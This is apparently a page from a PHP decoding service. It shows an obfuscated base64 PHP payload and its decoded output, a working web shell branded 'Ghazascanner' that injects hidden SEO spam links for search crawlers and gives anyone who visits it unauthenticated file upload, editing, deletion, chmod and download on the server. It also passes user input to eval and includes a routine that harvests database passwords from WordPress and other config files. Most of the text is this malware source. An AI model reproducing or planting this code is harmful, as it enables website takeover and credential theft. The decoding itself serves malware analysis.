Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHAgaWYoIUAkY29kZXZ5cCl7aWYocHJlZ19tYXRjaCgnL2FsbHRoZXd..

Decoded Output download

?>b'<?php if(!@$codevyp){if(preg_match(\'/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i\',$_SERVER[\'HTTP_USER_AGENT\'])){echo "<a href=\'http://lephare.ifpjournalisme.fr/napoleon.php\' style=\"font-size:38px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">Magazine</a><br />";}@$codevyp=true;}?><?php if(!@$codevyp){if(preg_match(\'/alltheweb|aol|baidu|bing|crawler|dogpile|duckduckbot|google|inktomi|israelisearch|lycos|msn|scooter|slurp|spider|t-rex|teoma|yahoo|seznam/i\',$_SERVER[\'HTTP_USER_AGENT\'])){echo "<a href=\'http://ifp-journalisme.fr/wp-rdadni.php\' style=\"font-size:43px;color:black;margin-top:20px !important;background:white;position:absolute;margin-left:20px;\">about us</a><br />";}@$codevyp=true;}?><?php


error_reporting(0);
set_time_limit(0);
extract(start());
if(get_magic_quotes_gpc()){
    foreach($_POST as $key=>$value){
        $_POST[$key] = stripslashes($value);
    }
}
$_POST[\'path\'] = (isset($_POST[\'path\'])) ? g22b_crypt($_POST[\'path\'],\'de\') : false;
$_POST[\'name\'] = (isset($_POST[\'name\'])) ? g22b_crypt($_POST[\'name\'],\'de\') : false;
if(isset($_GET[\'option\']) && $_POST[\'opt\'] == \'download\'){
    header(\'Content-type: text/plain\');
    header(\'Content-Disposition: attachment; filename="\'.$_POST[\'name\'].\'"\');
    echo(file_get_contents($_POST[\'path\']));
    exit();
}
echo \'<!DOCTYPE html>
<html>
<head>
    <title>Ghazascanner_2019runbot</title>
    <h1><font color=red>@Ghazascanner</font>_2019runbot</h1>
    <meta name="robots" content="noindex" />
    <style>
        body{
            font-family: "Racing Sans One", cursive;
            background-color: #e6e6e6;
            text-shadow:0px 0px 1px #757575;
            margin: 0;
        }
        #container{
            width: 700px;
            margin: 20px auto;
            border: 1px solid black;
        }
        #header{
            text-align: center;
            border-bottom: 1px dotted black;
        }
        #header h1{
            margin: 0;
        }
        
        #nav,#menu{
            padding-top: 5px;
            margin-left: 5px;
            padding-bottom: 5px;
            overflow: hidden;
            border-bottom: 1px dotted black;
        }
        #nav{
            margin-bottom: 10px;
        }
        
        #menu{
            text-align: center;
        }
        
        #content{
            margin: 0;
        }
        
        #content table{
            width: 700px;
            margin: 0px;
        }
        #content table .first{
            background-color: silver;
            text-align: center;
        }
        #content table .first:hover{
            background-color: silver;
            text-shadow:0px 0px 1px #757575;
        }
        #content table tr:hover{
            background-color: #636263;
            text-shadow:0px 0px 10px #fff;
        }
        
        #footer{
            margin-top: 10px;
            border-top: 1px dotted black;
        }
        #footer p{
            margin: 5px;
            text-align: center;
        }
        .filename,a{
            color: #000;
            text-decoration: none;
            cursor: pointer;
        }
        .filename:hover,a:hover{
            color: #fff;
            text-shadow:0px 0px 10px #ffffff;
        }
        .center{
            text-align: center;
        }
        input,select,textarea{
            border: 1px #000000 solid;
            -moz-border-radius: 5px;
            -webkit-border-radius:5px;
            border-radius:5px;
        }
    </style>
    <script>
function Encoder(name)
{
    var e =  document.getElementById(name);
    e.value = btoa(e.value);
    return true;
}
</script>
</head>
<body>
    
    <div id="container">
        <div id="header"><h1><a href="?">Ghazascanner File Manager</a></h1></div>
        <br>server :\'.php_uname().\'<br>
        <div id="nav">
            <div class="path">Current Path : \'.nav_link().\'
            <form methdo="GET" onSubmit="Encoder(\'c\');"><font color=red>Path : </font><input type="text" id="c" size="40" name="path" value="\'.$currentpath.\'" /><input type="submit" value="Go" /></form></div><br />
            <div class="upload">
                <form enctype="multipart/form-data" method="POST" action="?path=\'.$currentpathen.\'&up">
                Upload File : <input type="file" name="file" />
                <input type="submit" value="upload" />
                </form>
            </div>
            <div class="new">
                <form method="POST" action="?path=\'.$currentpathen.\'&new" onSubmit="Encoder(\'kc\')">
                <span>New : </span><input name="name" type="text" size="10" id="kc" />
                File <input type="radio" name="type" value="file" checked/>
                Dir <input type="radio" name="type" value="dir" />
                <input type="submit" value="Create" />
                </form>
            </div>
        </div>
        <div id="content">\';


        if(isset($_GET[\'filesrc\'])){
            $file = g22b_crypt($_GET[\'filesrc\'],\'de\');
            echo \'<div class="center">\'.htmlspecialchars($file).\'</div><textarea cols="84" rows="25">\'.filesrc($file).\'</textarea></pre>\';
        }elseif(isset($_GET[\'option\']) && $_POST[\'opt\'] != \'delete\' || (isset($_GET[\'new\']) && $_POST[\'type\'] == \'file\')){

            echo \'<div class="center">\'.$_POST[\'name\'].\'<br />\';
            
            if($_POST[\'opt\'] == \'chmod\'){
                if(isset($_POST[\'perm\'])){
    
                    eval(\'$perm = \'.$_POST[\'perm\'].\';\');
                    if(chmod($_POST[\'path\'],$perm)){
                        echo \'<font color="green">Change Permission Done.</font><br />\';
                        $permdone = true;
                    }else{
                        echo \'<font color="red">Change Permission Error.</font><br />\';
                    }
                }
                if($permdone){
                    $perm = $_POST[\'perm\'];
                }else{
                    $perm = substr(sprintf(\'%o\', fileperms($_POST[\'path\'])), -4);
                }
                
                echo \'<form method="POST">
                Permission : <input name="perm" type="text" size="4" value="\'.$perm.\'" />
                <input type="hidden" name="path" value="\'.g22b_crypt($_POST[\'path\'],\'en\').\'">
                <input type="hidden" name="name" value="\'.g22b_crypt($_POST[\'name\'],\'en\').\'">
                <input type="hidden" name="opt" value="chmod">
                <input type="submit" value="Go" />
                </form>\';
            }elseif($_POST[\'opt\'] == \'rename\'){
                
                if(isset($_POST[\'newname\'])){
                    if(rename($_POST[\'path\'],$currentpath.\'/\'.$_POST[\'newname\'])){
                        echo \'<font color="green">Change Name Done.</font><br />\';
                        $_POST[\'name\'] = $_POST[\'newname\'];
                    }else{
                        echo \'<font color="red">Change Name Error.</font><br />\';
                    }
                }
                
                echo \'<form method="POST">
                New Name : <input name="newname" type="text" size="20" value="\'.$_POST[\'name\'].\'" />
                <input type="hidden" name="path" value="\'.g22b_crypt($_POST[\'path\'],\'en\').\'">
                <input type="hidden" name="name" value="\'.g22b_crypt($_POST[\'name\'],\'en\').\'">
                <input type="hidden" name="opt" value="rename">
                <input type="submit" value="Go" />
                </form>\';
            }elseif($_POST[\'opt\'] == \'edit\' || isset($_GET[\'new\'])){
                if(isset($_POST[\'src\'])){
                    $fp = fopen($_POST[\'path\'],\'w\');
                    if(fwrite($fp,base64_decode($_POST[\'src\']))){
                        echo \'<font color="green">Edit File Done.</font><br />\';
                        $done = true;
                    }else{
                        echo \'<font color="red">Edit File Error.</font><br />\';
                    }
                    fclose($fp);
                }
                if(isset($_GET[\'new\']) && !$done){
                    $filecontent = \'\';
                    $_POST[\'path\'] = "$currentpath/$_POST[name]";
                }else{
                    $filecontent = filesrc($_POST[\'path\']);
                }
                echo \'<form method="POST" onSubmit="Encoder(\'cc\')">
                <textarea cols="84" rows="25" name="src" id="cc">\'.$filecontent.\'</textarea><br />
                <input type="hidden" name="path" value="\'.g22b_crypt($_POST[\'path\'],\'en\').\'">
                <input type="hidden" name="name" value="\'.g22b_crypt($_POST[\'name\'],\'en\').\'">
                <input type="hidden" name="type" value="file" />
                <input type="hidden" name="opt" value="edit">
                <input type="submit" value="Go" />
                </form>\';
            }
            
            echo \'</div>\';
        }else{
            echo \'<div class="center">\';
            if($_POST[\'opt\'] == \'delete\'){
                if($_POST[\'type\'] == \'dir\'){
                    if(rmdir($_POST[\'path\'])){
                        echo \'<font color="green">Delete Dir Done.</font><br />\';
                    }else{
                        echo \'<font color="red">Delete Dir Error.</font><br />\';
                    }
                }elseif($_POST[\'type\'] == \'file\'){
                    if(unlink($_POST[\'path\'])){
                        echo \'<font color="green">Delete File Done.</font><br />\';
                    }else{
                        echo \'<font color="red">Delete File Error.</font><br />\';
                    }
                }
            }elseif($_POST[\'type\'] == \'dir\' && isset($_GET[\'new\'])){
                if(mkdir("$currentpath/$_POST[name]")){
                    echo \'<font color="green">Create Dir Done.</font><br />\';
                }else{
                    echo \'<font color="red">Create Dir Error.</font><br />\';
                }
            }elseif(isset($_FILES[\'file\'])){
                $userfile_name = $currentpath.\'/\'.$_FILES[\'file\'][\'name\'];
                $userfile_tmp = $_FILES[\'file\'][\'tmp_name\'];
                if(move_uploaded_file($userfile_tmp,$userfile_name)){
                    echo \'<font color="green">File Upload Done.</font><br />\';
                }else{
                    echo \'<font color="red">File Upload Error.</font><br />\';
                }
            }
            echo \'</div><table>
                <tr class="first">
                    <td>Name</td>
                    <td>Size</td>
                    <td>Permissions</td>
                    <td>Options</td>
                </tr>\';
        
        $dirs = getfiles(\'dir\');
        foreach($dirs as $dir){
        echo \'<div id="dirs"><tr>
        <td><a href="?path=\'.$dir[\'link\'].\'"><div class="filename">\'.$dir[\'name\'].\'</div></a></td>
        <td class="center">\'.$dir[\'size\'].\'</td>
        <td class="center"><font color="\'.$dir[\'permcolor\'].\'">\'.$dir[\'perm\'].\'</font></td>
        <td class="center"><form method="POST" action="?path=\'.$currentpathen.\'&option">
        <select name="opt">
        <option value=""></option>
        <option value="delete">Delete</option>
        <option value="chmod">Chmod</option>
        <option value="rename">Rename</option>
        </select>
        <input type="hidden" name="type" value="dir">
        <input type="hidden" name="name" value="\'.g22b_crypt($dir[\'name\'],\'en\').\'">
        <input type="hidden" name="path" value="\'.$dir[\'link\'].\'">
        <input type="submit" value=">" />
        </form></td>
        </tr>
        </div>\';
        }
        echo \'<tr class="first"><td></td><td></td><td></td><td></td></tr>\';
        
        $files = getfiles(\'file\');
        foreach($files as $file){
            echo \'<div id="files">
        
        <tr>
        <td><a href="?path=\'.$currentpathen.\'&filesrc=\'.$file[\'link\'].\'"><div class="filename">\'.$file[\'name\'].\'</div></a></td>
        <td class="center">\'.$file[\'size\'].\'</td>
        <td class="center"><font color="\'.$file[\'permcolor\'].\'">\'.$file[\'perm\'].\'</font></td>
        <td class="center"><form method="POST" action="?path=\'.$currentpathen.\'&option">
        <select name="opt">
        <option value=""></option>
        <option value="delete">Delete</option>
        <option value="chmod">Chmod</option>
        <option value="rename">Rename</option>
        <option value="edit">Edit</option>
        <option value="download">Download</option>
        </select>
        <input type="hidden" name="type" value="file">
        <input type="hidden" name="name" value="\'.g22b_crypt($file[\'name\'],\'en\').\'">
        <input type="hidden" name="path" value="\'.$file[\'link\'].\'">
        <input type="submit" value=">" />
        </form></td>
        </tr></div>\';
        }
            echo \'</table></div></div><font color=red>@Ghazascanner</font>_2019minishell\';
        }

        echo \'
</body>
</html>\';

function getfiles($type){
    global $currentpath;
    $dir = scandir($currentpath);
    $result = array();
    foreach($dir as $file){
        $current[\'fullname\'] = "$currentpath/$file";
        if($type == \'dir\'){
            if(!is_dir($current[\'fullname\']) || $file == \'.\' || $file == \'..\') continue;
        }elseif($type == \'file\'){
            if(!is_file($current[\'fullname\'])) continue;
        }
        
        $current[\'name\'] = $file;
        $current[\'link\'] = g22b_crypt($current[\'fullname\'],\'en\');
        $current[\'size\'] = (is_dir($current[\'fullname\'])) ? \'--\' : file_size($current[\'fullname\']);
        $current[\'perm\'] = perms($current[\'fullname\']);
        if(is_writable($current[\'fullname\'])){
            $current[\'permcolor\'] = \'green\';
        }elseif(is_readable($current[\'fullname\'])){
            $current[\'permcolor\'] = \'\';
        }else{
            $current[\'permcolor\'] = \'red\';
        }
        
        $result[] = $current;
        
    }
    return $result;
}
function start(){
    global $_POST,$_GET;
    
    $result[\'currentpath\'] = (isset($_GET[\'path\'])) ? g22b_crypt($_GET[\'path\'],\'de\') : cwd();
    $result[\'currentpathen\'] = (isset($_GET[\'path\'])) ? $_GET[\'path\'] : g22b_crypt(cwd(),\'en\');
    
    return $result;
}
function file_size($file){
    $size = filesize($file)/1024;
    $size = round($size,3);
    if($size >= 1024){
        $size = round($size/1024,2).\' MB\';
    }else{
        $size = $size.\' KB\';
    }
    return $size;
}
function g22b_crypt($txt,$type){
    if(function_exists(\'base64_encode\') && function_exists(\'base64_decode\')){
        return ($type == \'en\') ? base64_encode($txt) : base64_decode($txt);
    }elseif(function_exists(\'strlen\') && function_exists(\'dechex\') && function_exists(\'ord\') && function_exists(\'chr\') && function_exists(\'hexdec\')){
        return ($type == \'en\') ? strToHex($txt) : hexToStr($txt);
    }else{
        $ar1 = array(\'public_html\',\'.htaccess\',\'/\',\'.\');
        $ar2 = array(\'bbbpubghostbbb\',\'bbbhtaghostbbb\',\'bbbsghostbbb\',\'bbbdotghostbbb\');
        return ($type == \'en\') ? str_replace($ar1,$ar2,$txt) : str_replace($ar2,$ar1,$txt);
    }
}
function strToHex($string){
    $hex=\'\';
    for ($i=0; $i < strlen($string); $i++)
    {
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}
function hexToStr($hex){
    $string=\'\';
    for ($i=0; $i < strlen($hex)-1; $i+=2)
    {
        $string .= chr(hexdec($hex[$i].$hex[$i+1]));
    }
    return $string;
}
function nav_link(){
    global $currentpath;
    $path = $currentpath;
    $path = str_replace(\'\\',\'/\',$path);
    $paths = explode(\'/\',$path);
    $result = \'\';
    foreach($paths as $id=>$pat){
        if($pat == \'\' && $id == 0){
            $a = true;
            $result .= \'<a href="?path=\'.g22b_crypt("/",\'en\').\'">/</a>\';
            continue;
        }
        if($pat == \'\') continue;
        $result .= \'<a href="?path=\';
        $linkpath = \'\';
        for($i=0;$i<=$id;$i++){
            $linkpath .= "$paths[$i]";
            if($i != $id) $linkpath .= "/";
        }
        $result .= g22b_crypt($linkpath,\'en\');
        $result .=  \'">\'.$pat.\'</a>/\';
    }
    return $result;
}
function filesrc($file){
    return htmlspecialchars(file_get_contents($file));
}
function cwd(){
    if(function_exists(\'getcwd\')){
        return getcwd();
    }else{
        $e = str_replace("\","/",$path);
        $e = explode(\'/\',$path);
        $result = \'\';
        for($i=0;$i<count($e)-1;$i++){
            if($e[$i] == \'\') continue;
            $result .= \'/\'.$e[$i];
        }
        return $result;
    }
}
function passwdtouser($line){
    $user = explode(\':\',$line);
    return $user[0];
}
function ex($a,$b,$text){
    $explode = explode($a,$text);
    $explode = explode($b,$explode[1]);
    return trim($explode[0]);
}
function get_data($url){
    $ar = array(\'1.txt\',\'2.txt\',\'3.txt\',\'4.txt\',\'5.txt\',\'6.txt\',\'7.txt\',\'8.txt\',\'9.txt\',\'0.txt\');
    $src = file_get_contents($url);
    $files = explode(\'<a href="\',$src);
    $data = array();
    foreach($files as $id=>$file){
        if($id == 0) continue;
    $file = explode(\'">\',$file);
    $file = trim($file[0]);
    if(!eregi(\'.txt\',$file)) continue;
    $src = file_get_contents("$url/$file");
    if(!$src) continue;
    $user = str_replace($ar,\'\',$file);
    $user = str_replace($ar,\'\',$user.\'.txt\');
    $user = str_replace($ar,\'\',$user.\'.txt\');
    $user = trim(str_replace(\'.txt\',\'\',$user));
    if(eregi("WordPress",$src)){
        $pass = ex("define(\'DB_PASSWORD\', \'","\');",$src);
        $data[] = array($user,$pass);
    }else{
        $tokens = token_get_all($src);
        foreach($tokens as $token){
            if(!$token[1]) continue;
            $tokenname = token_name($token[0]);
            if($tokenname != \'T_VARIABLE\') continue;
            $var = $token[1];
            if(eregi(\'pass\',$var)){
                $f = str_replace(\' \',\'\',ex($var,\';\',$src));
                $a = trim(ex("=\'","\'",$f));
                $b = trim(ex(\'"\',\'"\',$f));
                if($a != \'\'){
                    $pass = $a;
                }elseif($b != \'\'){
                    $pass = $b;
                }
                if($pass == \'\') continue;
                $data[] = array($user,$pass);
            }
        }
    }
    }
    return $data;
}
function perms($file){
    $perms = @fileperms($file);

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = \'s\';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = \'l\';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = \'-\';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = \'b\';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = \'d\';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = \'c\';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = \'p\';
} else {
    // Unknown
    $info = \'u\';
}

// Owner
$info .= (($perms & 0x0100) ? \'r\' : \'-\');
$info .= (($perms & 0x0080) ? \'w\' : \'-\');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? \'s\' : \'x\' ) :
            (($perms & 0x0800) ? \'S\' : \'-\'));

// Group
$info .= (($perms & 0x0020) ? \'r\' : \'-\');
$info .= (($perms & 0x0010) ? \'w\' : \'-\');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? \'s\' : \'x\' ) :
            (($perms & 0x0400) ? \'S\' : \'-\'));

// World
$info .= (($perms & 0x0004) ? \'r\' : \'-\');
$info .= (($perms & 0x0002) ? \'w\' : \'-\');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? \'t\' : \'x\' ) :
            (($perms & 0x0200) ? \'T\' : \'-\'));

    return $info;
}
?>
'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHAgaWYoIUAkY29kZXZ5cCl7aWYocHJlZ19tYXRjaCgnL2FsbHRoZXdlYnxhb2x8YmFpZHV8YmluZ3xjcmF3bGVyfGRvZ3BpbGV8ZHVja2R1Y2tib3R8Z29vZ2xlfGlua3RvbWl8aXNyYWVsaXNlYXJjaHxseWNvc3xtc258c2Nvb3RlcnxzbHVycHxzcGlkZXJ8dC1yZXh8dGVvbWF8eWFob298c2V6bmFtL2knLCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpe2VjaG8gIjxhIGhyZWY9J2h0dHA6Ly9sZXBoYXJlLmlmcGpvdXJuYWxpc21lLmZyL25hcG9sZW9uLnBocCcgc3R5bGU9XCJmb250LXNpemU6MzhweDtjb2xvcjpibGFjazttYXJnaW4tdG9wOjIwcHggIWltcG9ydGFudDtiYWNrZ3JvdW5kOndoaXRlO3Bvc2l0aW9uOmFic29sdXRlO21hcmdpbi1sZWZ0OjIwcHg7XCI+TWFnYXppbmU8L2E+PGJyIC8+Ijt9QC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b206IDFweCBkb3R0ZWQgYmxhY2s7DQogICAgICAgIH0NCiAgICAgICAgI2hlYWRlciBoMXsNCiAgICAgICAgICAgIG1hcmdpbjogMDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgI25hdiwjbWVudXsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiA1cHg7DQogICAgICAgICAgICBtYXJnaW4tbGVmdDogNXB4Ow0KICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDVweDsNCiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggZG90dGVkIGJsYWNrOw0KICAgICAgICB9DQogICAgICAgICNuYXZ7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxMHB4Ow0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAjbWVudXsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgI2NvbnRlbnR7DQogICAgICAgICAgICBtYXJnaW46IDA7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICNjb250ZW50IHRhYmxlew0KICAgICAgICAgICAgd2lkdGg6IDcwMHB4Ow0KICAgICAgICAgICAgbWFyZ2luOiAwcHg7DQogICAgICAgIH0NCiAgICAgICAgI2NvbnRlbnQgdGFibGUgLmZpcnN0ew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogc2lsdmVyOw0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOw0KICAgICAgICB9DQogICAgICAgICNjb250ZW50IHRhYmxlIC5maXJzdDpob3ZlcnsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHNpbHZlcjsNCiAgICAgICAgICAgIHRleHQtc2hhZG93OjBweCAwcHggMXB4ICM3NTc1NzU7DQogICAgICAgIH0NCiAgICAgICAgI2NvbnRlbnQgdGFibGUgdHI6aG92ZXJ7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNjM2MjYzOw0KICAgICAgICAgICAgdGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICNmb290ZXJ7DQogICAgICAgICAgICBtYXJnaW4tdG9wOiAxMHB4Ow0KICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IGRvdHRlZCBibGFjazsNCiAgICAgICAgfQ0KICAgICAgICAjZm9vdGVyIHB7DQogICAgICAgICAgICBtYXJnaW46IDVweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICAuZmlsZW5hbWUsYXsNCiAgICAgICAgICAgIGNvbG9yOiAjMDAwOw0KICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICB9DQogICAgICAgIC5maWxlbmFtZTpob3ZlcixhOmhvdmVyew0KICAgICAgICAgICAgY29sb3I6ICNmZmY7DQogICAgICAgICAgICB0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZmZmZjsNCiAgICAgICAgfQ0KICAgICAgICAuY2VudGVyew0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOw0KICAgICAgICB9DQogICAgICAgIGlucHV0LHNlbGVjdCx0ZXh0YXJlYXsNCiAgICAgICAgICAgIGJvcmRlcjogMXB4ICMwMDAwMDAgc29saWQ7DQogICAgICAgICAgICAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsNCiAgICAgICAgICAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOjVweDsNCiAgICAgICAgfQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCmZ1bmN0aW9uIEVuY29kZXIobmFtZSkNCnsNCiAgICB2YXIgZSA9ICBkb2N1bWVudC5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vcHRpb24nXSkgJiYgJF9QT1NUWydvcHQnXSAhPSAnZGVsZXRlJyB8fCAoaXNzZXQoJF9HRVRbJ25ldyddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSAnZmlsZScpKXsNCg0KICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iY2VudGVyIj4nLiRfUE9TVFsnbmFtZSddLic8YnIgLz4nOw0KICAgICAgICAgICAgDQogICAgICAgICAgICBpZigkX1BPU1RbJ29wdCddID09ICdjaG1vZCcpew0KICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsncGVybSddKSl7DQogICAgDQogICAgICAgICAgICAgICAgICAgIGV2YWwoJyRwZXJtID0gJy4kX1BPU1RbJ3Blcm0nXS4nOycpOw0KICAgICAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkcGVybSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5DaGFuZ2UgUGVybWlzc2lvbiBEb25lLjwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHBlcm1kb25lID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj5DaGFuZ2UgUGVybWlzc2lvbiBFcnJvci48L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZigkcGVybWRvbmUpew0KICAgICAgICAgICAgICAgICAgICAkcGVybSA9ICRfUE9TVFsncGVybSddOw0KICAgICAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAkcGVybSA9IHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQogICAgICAgICAgICAgICAgUGVybWlzc2lvbiA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy4kcGVybS4nIiAvPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLmcyMmJfY3J5cHQoJF9QT1NUWydwYXRoJ10sJ2VuJykuJyI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibmFtZSIgdmFsdWU9IicuZzIyYl9jcnlwdCgkX1BPU1RbJ25hbWUnXSwnZW4nKS4nIj4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiAvPg0KICAgICAgICAgICAgICAgIDwvZm9ybT4nOw0KICAgICAgICAgICAgfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpew0KICAgICAgICAgICAgICAgICAgICBpZihyZW5hbWUoJF9QT1NUWydwYXRoJ10sJGN1cnJlbnRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj5DaGFuZ2UgTmFtZSBEb25lLjwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAg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GUoJF9QT1NUWydzcmMnXSkpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+RWRpdCBGaWxlIERvbmUuPC9mb250PjxiciAvPic7DQogICAgICAgICAgICAgICAgICAgICAgICAkZG9uZSA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+RWRpdCBGaWxlIEVycm9yLjwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnbmV3J10pICYmICEkZG9uZSl7DQogICAgICAgICAgICAgICAgICAgICRmaWxlY29udGVudCA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BhdGgnXSA9ICIkY3VycmVudHBhdGgvJF9QT1NUW25hbWVdIjsNCiAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgJGZpbGVjb250ZW50ID0gZmlsZXNyYygkX1BPU1RbJ3BhdGgnXSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCIgb25TdWJtaXQ9IkVuY29kZXIoXCdjY1wnKSI+DQogICAgICAgICAgICAgICAgPHRleHRhcmVhIGNvbHM9Ijg0IiByb3dzPSIyNSIgbmFtZT0ic3JjIiBpZD0iY2MiPicuJGZpbGVjb250ZW50Lic8L3RleHRhcmVhPjxiciAvPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLmcyMmJfY3J5cHQoJF9QT1NUWydwYXRoJ10sJ2VuJykuJyI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibmFtZSIgdmFsdWU9IicuZzIyYl9jcnlwdCgkX1BPU1RbJ25hbWUnXSwnZW4nKS4nIj4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0eXBlIiB2YWx1ZT0iZmlsZSIgLz4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIC8+DQogICAgICAgICAgICAgICAgPC9mb3JtPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIGVjaG8gJzwvZGl2Pic7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iY2VudGVyIj4nOw0KICAgICAgICAgICAgaWYoJF9QT1NUWydvcHQnXSA9PSAnZGVsZXRlJyl7DQogICAgICAgICAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2Rpcicpew0KICAgICAgICAgICAgICAgICAgICBpZihybWRpcigkX1BPU1RbJ3BhdGgnXSkpew0KICAgICAgICAgICAgICAgI